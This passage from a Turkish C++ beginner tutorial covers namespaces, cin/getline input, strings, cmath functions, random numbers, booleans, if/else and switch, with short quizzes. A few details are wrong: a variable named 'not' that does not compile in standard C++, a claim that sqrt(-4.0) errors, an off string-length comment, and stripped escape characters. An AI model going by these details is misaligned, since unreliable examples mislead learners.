    ornek::yazdir();  // Namespace içindeki fonksiyona erişim
    std::cout << "Namespace içindeki x: " << ornek::x << std::endl; // Namespace içindeki değişkene erişim

    return 0;
}
```

## `using` Anahtar Kelimesi

Bir `namespace` içindeki elemanları kullanırken her seferinde `namespace` adını yazmak zorunda kalmamak için `using`anahtar kelimesini kullanabilirsiniz:

```
#include <iostream>

namespace ornek {
    int x = 100;
    void yazdir() {
        std::cout << "Namespace içindeki x: " << x << std::endl;
    }
}

int main() {
    using namespace ornek;  // ornek namespace içindeki tüm elemanları kullanıma aç

    yazdir();  // ornek::yazdir() olarak kullanılabilir
    std::cout << "Namespace içindeki x: " << x << std::endl; // ornek::x olarak kullanılabilir

    return 0;
}
```

Bu örnekte `using namespace ornek;` ifadesi, `ornek` ad alanındaki tüm elemanları `main` fonksiyonunda kullanılabilir hale getirir.

## Ad Alanları ile İsim Çakışmalarını Önleme

Farklı `namespace` içinde aynı isimde değişken veya fonksiyonlar tanımlanabilir ve bunlar birbirinden bağımsız çalışır. Örneğin:

```
#include <iostream>

namespace birinciAlan {
    int x = 5;
}

namespace ikinciAlan {
    int x = 10;
}

int main() {
    std::cout << "birinciAlan içindeki x: " << birinciAlan::x << std::endl;
    std::cout << "ikinciAlan içindeki x: " << ikinciAlan::x << std::endl;

    return 0;
}
```

**Çıktı:**

```
birinciAlan içindeki x: 5
ikinciAlan içindeki x: 10
```

Bu örnekte, `birinciAlan` ve `ikinciAlan` ad alanlarında aynı isimde (`x`) değişkenler tanımlanmış olsa da, isim çakışması oluşmaz ve her iki `namespace`'deki `x` değişkeni bağımsız olarak kullanılır.

## İç İçe `namespace` Tanımlama

`namespace` içinde başka bir `namespace` tanımlayabilirsiniz. Bu, daha karmaşık ve detaylı isimlendirme sistemleri kurmak için kullanışlıdır:

```
#include <iostream>

namespace birinciAlan {
    namespace ikinciAlan {
        int x = 20;

        void yazdir() {
            std::cout << "İç içe namespace içindeki x: " << x << std::endl;
        }
    }
}

int main() {
    birinciAlan::ikinciAlan::yazdir();
    std::cout << "İç içe namespace içindeki x: " << birinciAlan::ikinciAlan::x << std::endl;

    return 0;
}
```

**Çıktı:**

```
İç içe namespace içindeki x: 20
İç içe namespace içindeki x: 20
```

## `namespace` Alias (Takma Ad)

`namespace` adlarını kısaltmak için takma adlar kullanabilirsiniz:

```
#include <iostream>

namespace birinciAlan {
    int x = 100;
}

namespace kisaAd = birinciAlan;  // birinciAlan için kisaAd takma adını kullan

int main() {
    std::cout << "Takma ad kullanımı: " << kisaAd::x << std::endl; // kisaAd ile birinciAlan içindeki x'e erişim

    return 0;
}
```

**Çıktı:**

```
Takma ad kullanımı: 100
```


# 1.7 Kullanıcı Girdisi (User Input)

C++ dilinde kullanıcıdan giriş (input) almak için standart giriş akışı olan `cin` nesnesi kullanılır. `cin` (console input) nesnesi, `iostream` başlık dosyasında tanımlanmıştır ve klavyeden alınan veriyi programınıza aktarmak için kullanılır. `cin`nesnesi, `>>` (çıkarma operatörü) ile birlikte kullanılarak, kullanıcıdan alınan veriyi bir değişkene aktarır.

## Temel Kullanım

Kullanıcıdan alınan girişler genellikle `int`, `float`, `double`, `char` ve `string` gibi temel veri türleriyle ilişkilidir.

```
#include <iostream>  // Giriş ve çıkış işlemleri için gerekli başlık dosyası
using namespace std;

int main() {
    int number;
    cout << "Bir sayi girin: ";  // Kullanıcıya bilgi mesajı gösterme
    cin >> number;               // Kullanıcıdan sayı girişini alma
    cout << "Girdiginiz sayi: " << number << endl;  // Girilen sayıyı ekrana yazdırma
    return 0;
}
```

> **`using namespace std;`**: `std` isim alanı (`namespace`) kullanımını kolaylaştırır, böylece `std::cin` ve `std::cout`yerine doğrudan `cin` ve `cout` kullanılabilir.

**Açıklama:**

1. **`#include <iostream>`**: `cin` ve `cout` gibi giriş/çıkış işlemlerini içeren `iostream` başlık dosyasını programa ekler.
2. **`cout << "Bir sayi girin: "`**: Ekrana bilgi mesajı yazar.
3. **`cin >> number;`**: Kullanıcının girdiği değeri `number` değişkenine atar.
4. **`cout << "Girdiginiz sayi: " << number << endl;`**: Kullanıcının girdiği değeri ekrana yazdırır.

## Çeşitli Veri Türleri İçin Kullanıcı Girdisi

Kullanıcıdan birden fazla veri türünde giriş almak da mümkündür. Örneğin, `string`, `double` veya `char` gibi farklı veri türlerini `cin` ile okuyabilirsiniz.

```
#include <iostream>
#include <string>  // string veri türünü kullanmak için gerekli başlık dosyası
using namespace std;

int main() {
    string name;
    int age;
    double height;

    cout << "Adinizi girin: ";
    cin >> name;  // string türünde giriş

    cout << "Yasinizi girin: ";
    cin >> age;   // int türünde giriş

    cout << "Boyunuzu girin (metre cinsinden): ";
    cin >> height;  // double türünde giriş

    cout << "\nMerhaba, " << name << "! " 
         << "Yasiniz: " << age 
         << ", Boyunuz: " << height << " metredir." << endl;

    return 0;
}
```

## `getline` Kullanımı (Satır Bazlı Kullanıcı Girdisi)

`cin` operatörü, boşluk karakteri ( ) veya satır sonu karakteri () gördüğünde okumayı durdurur. Bu nedenle, kullanıcı tam bir satır girmek isterse `getline()` fonksiyonu kullanılabilir. `getline()` fonksiyonu, `cin` operatörü ile kıyaslandığında, tüm satırı (boşluk dahil) okur ve bir `string` değişkenine atar.

```
#include <iostream>
#include <string>  // string veri türü için gerekli başlık dosyası
using namespace std;

int main() {
    string fullName;
    
    cout << "Tam isminizi girin: ";
    getline(cin, fullName);  // Kullanıcıdan tüm satırı alır (boşluklar dahil)
    
    cout << "Girdiginiz isim: " << fullName << endl;
    return 0;
}
```

**Açıklama:**

* `getline(cin, fullName);` ifadesi, `cin` nesnesinden tam satırı okuyarak `fullName` değişkenine atar. Böylece, kullanıcının girdiği isim boşluk içeriyor olsa bile tüm satır okunur ve değişkene atanır.

## Birden Fazla Kullanıcı Girdisi Alma

Kullanıcıdan aynı anda birden fazla girdi almak için `cin`'i ardışık olarak kullanabilirsiniz:

```
#include <iostream>
using namespace std;

int main() {
    int x, y;
    
    cout << "Iki sayi girin: ";
    cin >> x >> y;  // Kullanıcıdan aynı anda iki girdi alır

    cout << "Girdiginiz sayilar: " << x << " ve " << y << endl;
    return 0;
}
```

**Açıklama:**

Bu örnekte `cin >> x >> y;` ifadesi, kullanıcıdan arka arkaya iki giriş (sayı) alır ve `x` ve `y` değişkenlerine atar.

#### Kullanıcı Girdisi Alırken Dikkat Edilmesi Gereken Noktalar

1. **Geçersiz Girdi**: Kullanıcı beklenen veri türünde bir girdi girmezse (`int` yerine `string` gibi), `cin` hata durumuna geçer ve daha fazla veri okumaz. Bu durumu düzeltmek için `cin.clear()` ve `cin.ignore()` kullanılabilir.

```
cin.clear();  // Hata bayrağını temizler
cin.ignore(1000, '\n');  // Girdi akışındaki karakterleri yok sayar
```

2. **Boşlukları Okuma**: `cin` yalnızca ilk boşluğa kadar olan veriyi okur. Tam bir satırı almak için `getline()` kullanmak gereklidir.
3. **Kullanıcıdan Gelen Fazla Girdi**: Kullanıcı beklenenden fazla giriş yaparsa, `cin` fazladan gelen verileri okumaz ve bu veriler giriş akışında kalır. Bu durumda, sonraki `cin` işlemlerinde beklenmedik davranışlar görülebilir. Bu durum `cin.ignore()` ile çözülebilir.


# 1.8 C++ Stringleri (C++ Strings)

C++ dilinde stringler, metin verilerini saklamak için kullanılan veri türleridir. C++'da stringlerle çalışmanın iki ana yolu vardır:

* **C-Style Stringler (C-İçin Stringler)**
* **`std::string` Sınıfı**

## `std::string` Sınıfı

`std::string`, C++ Standart Kütüphanesi'nin bir parçasıdır ve dinamik olarak büyüyebilen, kolay yönetilebilen ve çok sayıda kullanışlı fonksiyon sunan bir sınıftır.

**Örnek:**

```
#include <iostream>
#include <string>
using namespace std;

int main() {
    string greeting = "Merhaba, Dünya!";
    cout << greeting << endl;
    return 0;
}
```

> string sınıfını kullanmak için \<string> kütüphanesinin eklenmesi gerekiyor.

## String Birleştirme

String birleştirme, iki veya daha fazla stringi bir araya getirmek için kullanılır. C++'da `std::string` sınıfı, `+` ve `+=`operatörleri ile string birleştirmeyi kolaylaştırır.

```
#include <iostream>
#include <string>
using namespace std;

int main() {
    string firstName = "Hüseyin";
    string lastName = "Tazegül";
    string fullName = firstName + " " + lastName; // "Hüseyin Tazegül"

    cout << "Tam İsim: " << fullName << endl;
    return 0;
}
```

**`+=` Operatörü ile Birleştirme**

```
string greeting = "Merhaba";
greeting += ", Dünya!"; // "Merhaba, Dünya!"
cout << greeting << endl;
```

## Sayılar ve Stringler

C++'da sayılar ile stringler arasında dönüşüm yapmak sıkça gereklidir. Örneğin, bir sayıyı stringe çevirmek veya bir stringi sayıya çevirmek isteyebilirsiniz.

**Sayıyı Stringe Çevirme (`to_string`)**

```
#include <iostream>
#include <string>
using namespace std;

int main() {
    int number = 42;
    string strNumber = to_string(number);
    cout << "Sayı: " << number << ", String: " << strNumber << endl;
    return 0;
}
```

**Stringi Sayıya Çevirme (`stoi`, `stof`, `stod`)**

```
#include <iostream>
#include <string>
using namespace std;

int main() {
    string str = "12345";
    int number = stoi(str); // Stringi integer'a çevirir
    cout << "String: " << str << ", Sayı: " << number << endl;

    string floatStr = "3.14";
    float floatNumber = stof(floatStr); // Stringi float'a çevirir
    cout << "String: " << floatStr << ", Float Sayı: " << floatNumber << endl;

    string doubleStr = "2.71828";
    double doubleNumber = stod(doubleStr); // Stringi double'a çevirir
    cout << "String: " << doubleStr << ", Double Sayı: " << doubleNumber << endl;

    return 0;
}
```

## **String Uzunluğu**

Bir stringin uzunluğunu bulmak için `length()` veya `size()` fonksiyonları kullanılır. Her iki fonksiyon da aynı sonucu verir ve stringdeki karakter sayısını döndürür.

```
#include <iostream>
#include <string>
using namespace std;

int main() {
    string message = "Merhaba, Dünya!";
    cout << "Mesaj uzunluğu: " << message.length() << endl; // 15
    cout << "Mesaj uzunluğu (size): " << message.size() << endl; // 15
    return 0;
}
```

## Stringlere Erişim

Stringler içerisindeki karakterlere erişmek için köşeli parantez (`[]`) veya `at()` fonksiyonu kullanılır. `[]` operatörü hızlı erişim sağlar ancak sınır kontrolleri yapmaz. `at()` fonksiyonu ise sınır kontrolleri yapar ve hatalı erişimlerde istisna fırlatır.

```
#include <iostream>
#include <string>
using namespace std;

int main() {
    string word = "C++";

    // Köşeli parantez ile erişim
    cout << "İlk karakter: " << word[0] << endl; // 'C'

    // at() fonksiyonu ile erişim
    cout << "İkinci karakter: " << word.at(1) << endl; // '+'

    // Karakter değiştirme
    word[1] = '+';
    cout << "Değiştirilmiş kelime: " << word << endl; // "C++"

    return 0;
}
```

## Özel Karakterler

Stringlerde özel karakterler kullanmak için kaçış karakterleri (`\`) kullanılır. Bu karakterler, yazılması zor veya doğrudan yazılamayan karakterleri temsil eder.

#### Yaygın Kaçış Karakterleri:

* : Yeni satır
* : Sekme
* `\\` : Ters eğik çizgi
* `\"` : Çift tırnak
* `\'` : Tek tırnak

```
#include <iostream>
#include <string>
using namespace std;

int main() {
    string text = "Merhaba,\n\tDünya!";
    cout << text << endl;

    string path = "C:\\Program Files\\C++";
    cout << "Dosya Yolu: " << path << endl;

    string quote = "Hüseyin \"C++\" öğreniyor.";
    cout << quote << endl;

    return 0;
}
```

**Çıktı:**

```
Merhaba,
	Dünya!
Dosya Yolu: C:\Program Files\C++
Hüseyin "C++" öğreniyor.
```

## Kullanıcı Girişi ile Stringler

Kullanıcıdan string girişi almak için `cin` veya `getline()` fonksiyonları kullanılır. `cin`, ilk boşluk karakterine kadar olan kısmı alırken, `getline()` tüm satırı alır (boşluklar dahil).

**`cin` ile Kullanıcı Girişi**

```
#include <iostream>
#include <string>
using namespace std;

int main() {
    string name;
    cout << "Adınızı girin: ";
    cin >> name; // İlk boşluğa kadar olan kısmı alır
    cout << "Merhaba, " << name << "!" << endl;
    return 0;
}
```

**`getline()` ile Kullanıcı Girişi**

```
#include <iostream>
#include <string>
using namespace std;

int main() {
    string fullName;
    cout << "Tam isminizi girin: ";
    getline(cin, fullName); // Tüm satırı alır (boşluklar dahil)
    cout << "Girdiginiz isim: " << fullName << endl;
    return 0;
}
```

**Çoklu Girdi Alma**

```
#include <iostream>
#include <string>
using namespace std;

int main() {
    string firstName, lastName;
    int age;

    cout << "İlk adınızı girin: ";
    cin >> firstName;

    cout << "Soyadınızı girin: ";
    cin >> lastName;

    cout << "Yaşınızı girin: ";
    cin >> age;

    cout << "Merhaba, " << firstName << " " << lastName << "! " << age << " yaşındasınız." << endl;
    return 0;
}
```

## String Namespace

`std::string` sınıfı, C++ Standart Kütüphanesi'nin `std` namespace'i altında tanımlanmıştır. `std` namespace'i, standart kütüphane elemanlarını kapsar ve isim çakışmalarını önlemek için kullanılır.

#### Kullanım Yöntemleri:

* **Namespace Kapsayıcıları Kullanarak:**

```
#include <iostream>
#include <string>
using namespace std;

int main() {
    string message = "Hello, World!";
    cout << message << endl;
    return 0;
}
```

* `std::` Önekini Kullanarak:

```
#include <iostream>
#include <string>

int main() {
    std::string message = "Hello, World!";
    std::cout << message << std::endl;
    return 0;
}
```

**`using` Anahtar Kelimesi ile Namespace Kullanımı**

```
#include <iostream>
#include <string>
using namespace std;

int main() {
    string greeting = "Merhaba";
    cout << greeting << ", Dünya!" << endl;
    return 0;
}
```

**Namespace Alias (Takma Ad) Kullanımı**

```
#include <iostream>
#include <string>
namespace geo = std;

int main() {
    geo::string location = "İstanbul";
    geo::cout << "Lokasyon: " << location << geo::endl;
    return 0;
}
```

## C-Style Stringler

C-Style stringler, karakter dizilerini `char` dizileri olarak temsil eder ve null karakter (`'\0'`) ile sonlandırılır. Bu yöntem, C dilinden miras alınmıştır ve C++'da da kullanılabilir.

#### Özellikler:

* Sabit veya dinamik boyutlu olabilir.
* Standart kütüphane fonksiyonları (`<cstring>`) ile işlenir.
* Daha düşük seviyeli kontrol sağlar ancak hata yapma olasılığı yüksektir.

#### Örnek Kullanım:

```
#include <iostream>
#include <cstring> // C-Style string fonksiyonları için gerekli
using namespace std;

int main() {
    // C-Style string tanımlama
    char greeting1[] = "Merhaba";
    char greeting2[20]; // Boş bir karakter dizisi

    // Kopyalama işlemi
    strcpy(greeting2, greeting1);
    cout << "Greeting2: " << greeting2 << endl;

    // Birleştirme işlemi
    strcat(greeting2, " Dünya!");
    cout << "Birleştirilmiş Greeting2: " << greeting2 << endl;

    // Karakter sayısını bulma
    int length = strlen(greeting2);
    cout << "Greeting2'nin uzunluğu: " << length << endl;

    return 0;
}
```

#### Yaygın Fonksiyonlar:

* `strcpy(dest, src)`: `src` stringini `dest` stringine kopyalar.
* `strcat(dest, src)`: `src` stringini `dest` stringinin sonuna ekler.
* `strlen(str)`: `str` stringinin uzunluğunu döndürür.
* `strcmp(str1, str2)`: `str1` ve `str2` stringlerini karşılaştırır.

#### Güvenlik Notları:

C-Style stringler kullanırken, buffer overflow gibi hatalara dikkat etmek gerekir. `strncpy` ve `strncat` gibi sınırlandırılmış fonksiyonlar kullanarak güvenliği artırabilirsiniz.

#### Örnek Güvenli Kopyalama:

```
#include <iostream>
#include <cstring>
using namespace std;

int main() {
    char src[] = "Güvenli Kopyalama";
    char dest[25];

    // strncpy kullanarak güvenli kopyalama
    strncpy(dest, src, sizeof(dest) - 1);
    dest[sizeof(dest) - 1] = '\0'; // Null terminator ekleme

    cout << "Kaynak: " << src << endl;
    cout << "Hedef: " << dest << endl;

    return 0;
}
```


# 1.9 Matematik (Math) Fonksiyonları

C++ dilinde matematiksel işlemleri gerçekleştirmek için çeşitli operatörler ve fonksiyonlar bulunmaktadır. Bu bölümde, C++'da matematiksel işlemleri nasıl yapabileceğinizi, `cmath` kütüphanesini kullanarak temel matematik fonksiyonlarını nasıl uygulayabileceğinizi ve bu konularla ilgili alıştırmaları öğreneceksiniz.

### C++ Matematik Operatörleri

C++ dilinde matematiksel işlemler yapmak için kullanılan temel operatörler şunlardır:

| Operatör | Açıklama        | Örnek            |
| -------- | --------------- | ---------------- |
| `+`      | Toplama         | `a + b`          |
| `-`      | Çıkarma         | `a - b`          |
| `*`      | Çarpma          | `a * b`          |
| `/`      | Bölme           | `a / b`          |
| `%`      | Modülüs (kalan) | `a % b`          |
| `++`     | Artırma         | `a++` veya `++a` |
| `--`     | Azaltma         | `a--` veya `--a` |

#### Örnek Kod

```cpp
#include <iostream>
using namespace std;

int main() {
    int a = 10;
    int b = 3;

    cout << "Toplama: " << (a + b) << endl;       // 13
    cout << "Çıkarma: " << (a - b) << endl;      // 7
    cout << "Çarpma: " << (a * b) << endl;        // 30
    cout << "Bölme: " << (a / b) << endl;         // 3
    cout << "Modülüs: " << (a % b) << endl;      // 1

    // Artırma ve Azaltma
    cout << "a++: " << a++ << endl;               // 10, sonra a = 11
    cout << "++a: " << ++a << endl;               // 12
    cout << "a--: " << a-- << endl;               // 12, sonra a = 11
    cout << "--a: " << --a << endl;               // 10

    return 0;
}
```

**Çıktı:**

```
Toplama: 13
Çıkarma: 7
Çarpma: 30
Bölme: 3
Modülüs: 1
a++: 10
++a: 12
a--: 12
--a: 10
```

**`cmath` Kütüphanesi**

C++'da gelişmiş matematiksel işlemler gerçekleştirmek için `<cmath>` kütüphanesi kullanılır. Bu kütüphane, trigonometrik fonksiyonlar, üs alma, karekök gibi birçok fonksiyonu içerir.

#### `cmath` Kütüphanesini Dahil Etme:

```cpp
#include <cmath>
```

### Temel Matematik Fonksiyonları

`<cmath>` kütüphanesi içinde bulunan bazı temel matematik fonksiyonları şunlardır:

#### 1. Mutlak Değer (`abs`)

Bir sayının mutlak değerini (pozitif değerini) döndürür.

```cpp
#include <iostream>
#include <cmath>
using namespace std;

int main() {
    int a = -10;
    double b = -5.5;

    cout << "abs(a): " << abs(a) << endl;       // 10
    cout << "abs(b): " << abs(b) << endl;       // 5.5

    return 0;
}
```

#### 2. Karekök (`sqrt`)

Bir sayının karekökünü döndürür.

```cpp
cppCopy code#include <iostream>
#include <cmath>
using namespace std;

int main() {
    double num = 25.0;

    cout << "sqrt(num): " << sqrt(num) << endl; // 5

    return 0;
}
```

#### 3. Üs Alma (`pow`)

Bir sayının belirtilen üssünü döndürür.

```cpp
#include <iostream>
#include <cmath>
using namespace std;

int main() {
    double base = 2.0;
    double exponent = 3.0;

    cout << "pow(base, exponent): " << pow(base, exponent) << endl; // 8

    return 0;
}
```

#### 4. Sinüs (`sin`), Kosinüs (`cos`), Tanjant (`tan`)

Açıları radyan cinsinden alır ve trigonometrik değerleri döndürür.

```cpp
#include <iostream>
#include <cmath>
using namespace std;

int main() {
    double angle = 45.0;
    double radians = angle * (M_PI / 180.0); // Dereceyi radyana çevirme

    cout << "sin(" << angle << "°): " << sin(radians) << endl; // ~0.7071
    cout << "cos(" << angle << "°): " << cos(radians) << endl; // ~0.7071
    cout << "tan(" << angle << "°): " << tan(radians) << endl; // ~1

    return 0;
}
```

#### 5. Logaritma (`log`, `log10`)

Doğal logaritmayı (`log`) ve 10 tabanında logaritmayı (`log10`) döndürür.

```cpp
#include <iostream>
#include <cmath>
using namespace std;

int main() {
    double num = 100.0;

    cout << "log(num): " << log(num) << endl;       // ~4.6052 (ln(100))
    cout << "log10(num): " << log10(num) << endl;   // 2 (log10(100))

    return 0;
}
```

#### 6. Üstünü Al (`exp`)

`e` sayısının belirtilen üsse yükseltilmiş halini döndürür.

```cpp
#include <iostream>
#include <cmath>
using namespace std;

int main() {
    double exponent = 1.0;

    cout << "exp(exponent): " << exp(exponent) << endl; // ~2.7183 (e^1)

    return 0;
}
```

### Rastgele Sayılar Üretme

C++'da rastgele sayılar üretmek için çeşitli yöntemler bulunmaktadır. Modern C++'da `<random>` kütüphanesi kullanılarak daha güvenilir ve esnek rastgele sayı üretimi yapılabilir.

#### Örnek: Basit Rastgele Sayı Üretimi

```cpp
#include <iostream>
#include <cstdlib> // rand() ve srand() için
#include <ctime>   // time() için
using namespace std;

int main() {
    // Rastgele sayı üreteciyi başlatma
    srand(time(0));

    // 0 ile 99 arasında rastgele bir sayı üretme
    int randomNumber = rand() % 100;
    cout << "Rastgele Sayı: " << randomNumber << endl;

    return 0;
}
```

#### Modern C++ ile Rastgele Sayılar

```cpp
#include <iostream>
#include <random>
using namespace std;

int main() {
    // Rastgele sayı üreteci oluşturma
    random_device rd;  // Cihazdan rastgele bitler alır
    mt19937 gen(rd()); // Mersenne Twister motoru
    uniform_int_distribution<> distrib(1, 100); // 1 ile 100 arasında

    // 10 rastgele sayı üretme
    for(int i = 0; i < 10; ++i) {
        cout << distrib(gen) << " ";
    }
    cout << endl;

    return 0;
}
```

***

### Matematiksel Sabitler

C++'da matematiksel sabitler `cmath` kütüphanesi içinde tanımlanmıştır. Bazı yaygın sabitler şunlardır:

| Sabit     | Açıklama                  |
| --------- | ------------------------- |
| `M_PI`    | Pi sayısı (3.14159...)    |
| `M_E`     | Euler sayısı (2.71828...) |
| `M_SQRT2` | √2 (1.41421...)           |
| `M_LN2`   | ln(2) (0.693147...)       |

#### Örnek Kullanım

```cpp
#include <iostream>
#include <cmath>
using namespace std;

int main() {
    cout << "Pi: " << M_PI << endl;         // 3.14159...
    cout << "Euler Sayısı: " << M_E << endl; // 2.71828...
    cout << "Karekök 2: " << M_SQRT2 << endl; // 1.41421...
    cout << "ln(2): " << M_LN2 << endl;       // 0.693147...

    return 0;
}
```

*Not: Bazı derleyicilerde `M_PI` gibi sabitler tanımlı olmayabilir. Bu durumda, kendi sabitlerinizi tanımlayabilirsiniz:*

```cpp
const double PI = 3.14159265358979323846;
```

***

### Alıştırmalar

#### S1) Aşağıdaki C++ Kodunun Çıktısı Nedir?

```cpp
#include <iostream>
#include <cmath>
using namespace std;

int main() {
    double num = -16.0;

    cout << "abs(num): " << abs(num) << endl;
    cout << "sqrt(abs(num)): " << sqrt(abs(num)) << endl;
    cout << "pow(2, 3): " << pow(2, 3) << endl;

    return 0;
}
```

a) `abs(num): -16`\
b) `abs(num): 16`\
c) `sqrt(abs(num)): 4`\
d) `pow(2, 3): 8`\
e) Tüm çıktılar doğru

***

#### S2) Aşağıdaki C++ Kodunun Çıktısı Nedir?

```cpp
#include <iostream>
#include <cmath>
using namespace std;

int main() {
    double angle = 60.0;
    double radians = angle * (M_PI / 180.0);

    cout << "sin(60°): " << sin(radians) << endl;
    cout << "cos(60°): " << cos(radians) << endl;
    cout << "tan(60°): " << tan(radians) << endl;

    return 0;
}
```

a) `sin(60°): 0.866025`\
b) `cos(60°): 0.5`\
c) `tan(60°): 1.73205`\
d) Hepsi doğru\
e) Hepsi yanlış

***

#### S3) Aşağıdaki C++ Kodunda Hangi Satır Hata Verir?

```cpp
#include <iostream>
#include <cmath>
using namespace std;

int main() {
    double x = 9.0;
    double y = sqrt(x);
    double z = pow(x, 2);

    cout << "y: " << y << endl;
    cout << "z: " << z << endl;

    // double w = sqrt(-4.0); // Bu satır hata verir
    // cout << "w: " << w << endl;

    return 0;
}
```

a) `double y = sqrt(x);`\
b) `double z = pow(x, 2);`\
c) `double w = sqrt(-4.0);`\
d) Hiçbir satır hata vermez

***

#### S4) Aşağıdaki C++ Kodunun Çıktısı Nedir?

```cpp
#include <iostream>
#include <cmath>
using namespace std;

int main() {
    double num = 8.0;

    cout << "log(num): " << log(num) << endl;       // Doğal logaritma (ln)
    cout << "log10(num): " << log10(num) << endl;   // 10 tabanında logaritma

    return 0;
}
```

a) `log(num): 2.07944`\
b) `log10(num): 0.90309`\
c) Her ikisi de doğru\
d) Her ikisi de yanlış

***

#### S5) Aşağıdaki C++ Kodunda Hangi Fonksiyon Kullanılarak `C++` stringi `C`-Style stringe dönüştürülmüştür?

```cpp
#include <iostream>
#include <string>
#include <cstring>
using namespace std;

int main() {
    string cppString = "C++ ile string";
    const char* cString = cppString.c_str();

    cout << "C-Style String: " << cString << endl;
    return 0;
}
```

a) `strcpy`\
b) `c_str`\
c) `strcat`\
d) `strlen`


# 1.10 Booleans

C++ dilinde Booleans (Boolean veri türü), iki farklı değeri temsil edebilen bir veri türüdür: `true` ve `false`. `bool`anahtar kelimesi ile tanımlanır ve bu veri türü genellikle mantıksal ifadeleri değerlendirmek ve karşılaştırma işlemlerinde kullanılır.

#### 1. **Temel Tanım**

C++’da Boolean veri türü, `true` ve `false` olmak üzere iki farklı değere sahip olabilir:

```cpp
bool isCodingFun = true;
bool isMathHard = false;
```

Bu örnekte, `isCodingFun` değişkeni `true` değerini alırken, `isMathHard` değişkeni `false` değerini alır.

#### 2. **Boolean Değerleri ve Sayısal Temsil**

C++ dilinde `true` değeri dahili olarak `1`, `false` değeri ise `0` olarak temsil edilir. Bu sayısal karşılıklar sayesinde Boolean ifadeleri koşul kontrollerinde veya döngülerde kolayca kullanılabilir.

```cpp
bool isEven = (4 % 2 == 0);  // isEven true olur çünkü 4'ün 2'ye bölümünden kalan 0'dır.
bool isGreater = (5 > 10);   // isGreater false olur çünkü 5, 10'dan büyük değildir.
```

#### 3. **Koşul İfadeleri ve Boolean Kullanımı**

Booleans, koşul ifadelerinde (`if` ve `else if`) kullanılarak bir işlemin gerçekleşip gerçekleşmeyeceğini belirlemede önemli bir rol oynar.

```cpp
bool isRaining = true;

if (isRaining) {
    cout << "Şemsiye almalısınız." << endl;
} else {
    cout << "Hava güzel, şemsiye gerek yok." << endl;
}
```

Yukarıdaki örnekte `isRaining` değişkeni `true` olduğu için `if` bloğundaki ifade çalışır ve "Şemsiye almalısınız." çıktısını verir.

#### 4. **Boolean İfadelerin Çıktısı**

C++'da bir Boolean değeri `cout` ile ekrana yazdırılırken, `true` değeri `1` olarak ve `false` değeri `0` olarak görüntülenir:

```cpp
bool isSunny = false;
cout << isSunny;  // Çıktı: 0
```

Eğer `true` olarak bir değer ekrana yazdırılsaydı, bu `1` olarak görüntülenirdi.

#### 5. **Kıyaslama Operatörleri ve Boolean**

Boolean veri türü genellikle kıyaslama işlemlerinde kullanılır. Kıyaslama operatörleri, iki değeri karşılaştırır ve sonucu Boolean bir değer olarak döner:

* `==` (eşittir)
* `!=` (eşit değildir)
* `>` (büyüktür)
* `<` (küçüktür)
* `>=` (büyük eşittir)
* `<=` (küçük eşittir)

```cpp
int x = 10;
int y = 20;
cout << (x > y);  // false (0) döner, çünkü 10, 20'den büyük değildir.
cout << (x == y); // false (0) döner, çünkü 10, 20'ye eşit değildir.
cout << (x < y);  // true (1) döner, çünkü 10, 20'den küçüktür.
```

#### 6. **Boolean Mantıksal Operatörler**

Mantıksal operatörler Boolean ifadeleri birleştirmek için kullanılır:

* `&&` (ve): İki koşulun da `true` olması gerekir.
* `||` (veya): Koşullardan en az birinin `true` olması yeterlidir.
* `!` (değil): Koşulun tam tersini alır.

```cpp
bool condition1 = true;
bool condition2 = false;

cout << (condition1 && condition2);  // false (0) döner, çünkü ikisi de true değil.
cout << (condition1 || condition2);  // true (1) döner, çünkü en az biri true.
cout << !condition1;                 // false (0) döner, çünkü condition1'in tersi false olur.
```


# 1.11 If Else

C++ dilinde **if** ve **else** yapıları, koşullu ifadeleri kontrol etmek için kullanılır. Programın belirli bir koşul doğru olduğunda farklı bir yol izlemesini sağlar.

**Temel Yapı**

**if** ifadesi, belirli bir koşulu kontrol eder ve koşul doğruysa (true) belirli bir kod bloğunu çalıştırır. Eğer koşul yanlışsa (false) **else** ifadesi kullanılarak alternatif bir kod bloğu çalıştırılabilir.

```cpp
#include <iostream>
using namespace std;

int main() {
    int sayi = 10;

    if (sayi > 5) {
        cout << "Sayı 5'ten büyüktür." << endl;
    } else {
        cout << "Sayı 5'ten küçüktür veya eşittir." << endl;
    }

    return 0;
}
```

**Çoklu Koşullar**

Birden fazla koşul kontrol etmek için **else if** ifadesi kullanılabilir. Bu, birden fazla koşulu kontrol etme esnekliği sağlar.

```cpp
#include <iostream>
using namespace std;

int main() {
    int not = 85;

    if (not >= 90) {
        cout << "Not: A" << endl;
    } else if (not >= 80) {
        cout << "Not: B" << endl;
    } else if (not >= 70) {
        cout << "Not: C" << endl;
    } else {
        cout << "Not: D" << endl;
    }

    return 0;
}
```

**Kısa If İfadesi**

C++ dilinde koşullu ifadeleri daha kısa bir şekilde yazmak için **ternary operatörü** (`? :`) de kullanılabilir. Bu operatör, bir koşulu kontrol eder ve uygun sonucu döndürür.

```cpp
#include <iostream>
using namespace std;

int main() {
    int sayi = 4;
    string sonuc = (sayi % 2 == 0) ? "Çift" : "Tek";
    cout << "Sayı: " << sonuc << endl;

    return 0;
}
```


# 1.12 Switch

C++ dilinde **switch** ifadesi, bir değişkenin değerine göre farklı kod bloklarının çalıştırılmasını sağlayan bir kontrol yapısıdır. Özellikle bir değişkenin birden fazla olası değerini kontrol etmek istediğimizde **if-else** yapısına alternatif olarak kullanılabilir.

**Temel Yapı**

**switch** ifadesi, bir değişkenin belirli değerlerini kontrol eder. Her bir değeri kontrol etmek için **case** anahtar kelimesi kullanılır. Eğer belirlenen bir case durumu doğruysa, o duruma karşılık gelen kod bloğu çalıştırılır. **break** ifadesi, switch bloğunun dışına çıkmak için kullanılır. Eğer break kullanılmazsa, kontrol akışı sonraki case'lere geçer (bu duruma "fall-through" denir).

```cpp
#include <iostream>
using namespace std;

int main() {
    int gun = 3;

    switch (gun) {
        case 1:
            cout << "Pazartesi" << endl;
            break;
        case 2:
            cout << "Salı" << endl;
            break;
        case 3:
            cout << "Çarşamba" << endl;
            break;
        case 4:
            cout << "Perşembe" << endl;
            break;
        case 5:
            cout << "Cuma" << endl;
            break;
        case 6:
            cout << "Cumartesi" << endl;
            break;
        case 7:
            cout << "Pazar" << endl;
            break;
        default:
            cout << "Geçersiz gün" << endl;
            break;
    }

    return 0;
}
```

**Önemli Noktalar**

1. **Değişken Türü**: Switch ifadesi genellikle tamsayı (int) ve karakter (char) türlerinde kullanılır.
